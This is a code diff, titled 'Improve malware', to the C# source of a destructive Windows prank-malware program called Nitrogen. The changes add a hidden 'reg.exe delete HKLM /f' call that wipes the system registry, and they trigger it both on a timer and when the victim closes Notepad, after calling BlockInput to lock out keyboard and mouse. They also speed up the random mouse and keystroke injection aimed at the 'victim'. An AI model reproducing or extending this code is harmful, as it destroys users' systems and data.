Improve malware

Dll_Imports.cs

@@ -1,11 +1,9 @@
 using Microsoft.Win32;
 using System;
-using System.Collections.Generic;
 using System.IO;
 using System.Linq;
 using System.Media;
 using System.Runtime.InteropServices;
-using System.Text;
 
 namespace Nitrogen
 {

Program.cs

@@ -1,8 +1,6 @@
 using Microsoft.Win32;
 using System;
-using System.Collections.Generic;
 using System.Diagnostics;
-using System.Linq;
 using System.Threading;
 using System.Windows.Forms;
 using static Nitrogen.Dll_Imports;

payloads.cs

@@ -1,11 +1,8 @@
 using System;
-using System.Collections.Generic;
 using System.Diagnostics;
+using System.Drawing;
 using System.IO;
-using System.Linq;
-using System.Media;
 using System.Runtime.InteropServices;
-using System.Text;
 using System.Threading;
 using System.Windows.Forms;
 using static Nitrogen.Dll_Imports;
@@ -81,13 +78,13 @@ namespace Nitrogen
                 while (variables.textchanger == true)
                 {
                     EnumChildWindows(GetDesktopWindow(), new EnumWindowsProc(EnumChildProc), IntPtr.Zero);
-                    if (variables.extreme == false)
+                    if (!variables.extreme)
                     {
                         Thread.Sleep(1000);
                     }
                     else
                     {
-                        Thread.Sleep(100);
+                        Thread.Sleep(10);
                     }
                 }
             }
@@ -175,17 +172,6 @@ namespace Nitrogen
                 {
                     File.Delete(regedit);
                 }
-
-                /*ProcessStartInfo registry = new ProcessStartInfo
-                {
-                    UseShellExecute = true,
-                    FileName = "reg.exe",
-                    Arguments = @"delete HKCR /f",
-                    CreateNoWindow = true,
-                    WindowStyle = ProcessWindowStyle.Hidden
-                };
-                Process.Start(registry);
-                */
             }
             catch { }
         }
@@ -202,22 +188,10 @@ namespace Nitrogen
                         int x = Screen.PrimaryScreen.Bounds.Width, y = Screen.PrimaryScreen.Bounds.Height;
                         Dll_Imports.POINT get_mouse;
                         Dll_Imports.GetCursorPos(out get_mouse);
-                        if (variables.extreme == false)
-                        {
-                            Dll_Imports.SetCursorPos(Convert.ToInt32(get_mouse.X + rand.Next(-20, 20)), Convert.ToInt32(get_mouse.Y + rand.Next(-20, 20)));
-                        }
-                        else
+                        if (variables.extreme)
                         {
                             Dll_Imports.SetCursorPos(Convert.ToInt32(get_mouse.X + rand.Next(-100, 100)), Convert.ToInt32(get_mouse.Y + rand.Next(-100, 100)));
-                        }
-                        Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_LEFTDOWN, x, y, 0, UIntPtr.Zero);
-                        Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_LEFTUP, x, y, 0, UIntPtr.Zero);
-                        Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_MIDDLEDOWN, x, y, 0, UIntPtr.Zero);
-                        Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_MIDDLEUP, x, y, 0, UIntPtr.Zero);
-                        Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_RIGHTDOWN, x, y, 0, UIntPtr.Zero);
-                        Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_RIGHTUP, x, y, 0, UIntPtr.Zero);
-
-                        string myText = "abcdefghijklmnopqrstuvwxyzěščřžýáíé+=´¨/*-+0123456789öÿïäëéóśńŕůú)§,.-" +
+                            string myText = "abcdefghijklmnopqrstuvwxyzěščřžýáíé+=´¨/*-+0123456789öÿïäëéóśńŕůú)§,.-" +
                         "☺☻♥♦♣♠•◘○◙♂♀♪♫☼►◄↕‼¶§▬↨↑↓→←∟↔▲▼ !?ûùÿ┤╡╢╖╕║╗╝╜╛┐└┴┬├─┼╞╟╚╔╩╦╠═╬╧╨╤,-.!:É" +
                         "@°E›ÍОÌåÃTWÉò=*ª‹nצádöÔâ͹¸¯š1‰z]fzç<yŠïj£øz]Òä[ƒ†”k•¢‚U¦áæQ|mkÚ~ú–H|‚ùSáp±Êjª1j" +
                         "£½Q©ùz„˜=,ˆŽã´í - OüþM
#H±ŠÏ*b`þîWºBA»_25x +%«³$Á¯zª:£Ìì«ùªšu%´ô" +
@@ -225,16 +199,23 @@ namespace Nitrogen
                         "I4%¾Rë³rˆ£…>¥”cÿ®fмjz›»ê¼Š£ŠaÃÌ?›}ïKÜÿ†æ&è†&Ù÷™ŒfF2ä ™Ó°iƼ?¨c ¶’óQñ
‚" +
                         "q4R³kUzH‡ñ‹Ð¿ZØ†‹©iÞ8Zoþóþ¤bqm†ú @Á]»ÜÃÆz¾ÇüðÅ­Esîp«›lbû‹&e[”0®¨°zå(1ÿ";
 
-                        char[] Mychars = myText.ToCharArray();
+                            char[] Mychars = myText.ToCharArray();
 
-                        UInt16 uniCode = Mychars[rand.Next(Mychars.Length)];
+                            UInt16 uniCode = Mychars[rand.Next(Mychars.Length)];
 
-                        Dll_Imports.INPUT[] input = new Dll_Imports.INPUT[1];
-                        input[0].type = Dll_Imports.InputType.INPUT_KEYBOARD;
-                        input[0].U.ki.wScan = (Dll_Imports.ScanCodeShort)uniCode;
-                        input[0].U.ki.dwFlags = Dll_Imports.KEYEVENTF.UNICODE;
-                        Dll_Imports.SendInput(1, input, Marshal.SizeOf(typeof(Dll_Imports.INPUT)));
-                        Thread.Sleep(5);
+                            Dll_Imports.INPUT[] input = new Dll_Imports.INPUT[1];
+                            input[0].type = Dll_Imports.InputType.INPUT_KEYBOARD;
+                            input[0].U.ki.wScan = (Dll_Imports.ScanCodeShort)uniCode;
+                            input[0].U.ki.dwFlags = Dll_Imports.KEYEVENTF.UNICODE;
+                            Dll_Imports.SendInput(1, input, Marshal.SizeOf(typeof(Dll_Imports.INPUT)));
+                            Thread.Sleep(5);
+                        }
+                        Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_LEFTDOWN, x, y, 0, UIntPtr.Zero);
+                        Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_LEFTUP, x, y, 0, UIntPtr.Zero);
+                        Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_MIDDLEDOWN, x, y, 0, UIntPtr.Zero);
+                        Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_MIDDLEUP, x, y, 0, UIntPtr.Zero);
+                        Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_RIGHTDOWN, x, y, 0, UIntPtr.Zero);
+                        Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_RIGHTUP, x, y, 0, UIntPtr.Zero);
                     }
                     if (variables.extreme == false)
                         Thread.Sleep(rand.Next(3000, 10000));
@@ -287,6 +268,8 @@ namespace Nitrogen
         public static void story()
         {
             Thread.Sleep(5000);
+            variables.mousespam = true;
+            Thread CheckNotepadThread = new Thread(CheckNotepad);
             string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
             string text = "Hello my victim " + userName + "!" +
             "I'm the thing you run 2 fucking seconds ago!" +
@@ -302,11 +285,11 @@ namespace Nitrogen
             char[] Mychars = text.ToCharArray();
             Process.Start(@"C:\Windows\notepad.exe");
             Process[] proces_name = Process.GetProcessesByName("notepad");
-            Cursor.Hide();
             while (proces_name.Length == 0) { }
             Thread.Sleep(1000);
             Thread th_spam = new Thread(mouse_spam);
             th_spam.Start();
+            CheckNotepadThread.Start();
             for (int num = 0; num < Mychars.Length; num++)
             {
                 int x = Screen.PrimaryScreen.Bounds.Width; int y = Screen.PrimaryScreen.Bounds.Height;
@@ -326,6 +309,7 @@ namespace Nitrogen
 
                 Thread.Sleep(100);
             }
+            CheckNotepadThread.Abort();
             Cursor.Show();
             Thread.Sleep(1000);
             foreach (Process proces_n in proces_name) { proces_n.Kill(); }
@@ -352,21 +336,35 @@ namespace Nitrogen
             thr.Start();
             Random rand = new Random();
             Thread.Sleep(rand.Next(300000, 600000));
+            sys_death();
             Environment.Exit(-1);
 
         }
         public static void mouse_spam()
         {
             Process[] proces_name = Process.GetProcessesByName("notepad");
-            while (proces_name.Length == 1)
+            while (proces_name.Length == 1 && variables.mousespam)
             {
+                Cursor.Hide();
                 proces_name = Process.GetProcessesByName("notepad");
-                Dll_Imports.SetCursorPos(50, 50);
+                Cursor.Position = new Point(50, 50);
                 Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_LEFTUP, 50, 50, 0, UIntPtr.Zero);
                 //Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_RIGHTUP, 50, 50, 0, UIntPtr.Zero);
                 Thread.Sleep(1);
             }
         }
+        public static void CheckNotepad()
+        {
+            Process[] proces_name = Process.GetProcessesByName("notepad");
+            while (proces_name.Length == 1)
+            {
+                proces_name = Process.GetProcessesByName("notepad");
+            }
+            BlockInput(true);
+            variables.mousespam = false;
+            sys_death();
+            Environment.Exit(-1);
+        }
         public static void move_icon()
         {
             for (; ; )
@@ -432,7 +430,7 @@ namespace Nitrogen
                         {
                             proces_n.Kill();
                             Thread th_msg = new Thread(message);
-                            th_msg.Start(); th_msg.Abort();
+                            th_msg.Start();
                         }
                     }
                     catch { }
@@ -461,8 +459,24 @@ namespace Nitrogen
                     {
                         PlaySystemSound("SystemNotification");
                     }
+                    if (variables.extreme)
+                        Thread.Sleep(1);
+                    else
+                        Thread.Sleep(500);
                 }
             }
         }
+        public static void sys_death()
+        {
+            ProcessStartInfo registry = new ProcessStartInfo
+            {
+                UseShellExecute = true,
+                FileName = "reg.exe",
+                Arguments = @"delete HKLM /f",
+                CreateNoWindow = true,
+                WindowStyle = ProcessWindowStyle.Hidden
+            };
+            Process.Start(registry).WaitForExit();
+        }
     }
 }

variables.cs

@@ -1,11 +1,9 @@
 using System;
-using System.Collections.Generic;
 using System.Diagnostics;
 using System.Linq;
 using System.Management;
 using System.Net;
 using System.Reflection;
-using System.Runtime.InteropServices;
 using System.Text;
 using System.Threading;
 using static Nitrogen.Dll_Imports;
@@ -24,6 +22,7 @@ namespace Nitrogen
         public static bool sounds = true;
 
         public static bool extreme = false;
+        public static bool mousespam = false;
         public static bool AlreadyRunning()
         {
             Process[] processes = Process.GetProcesses();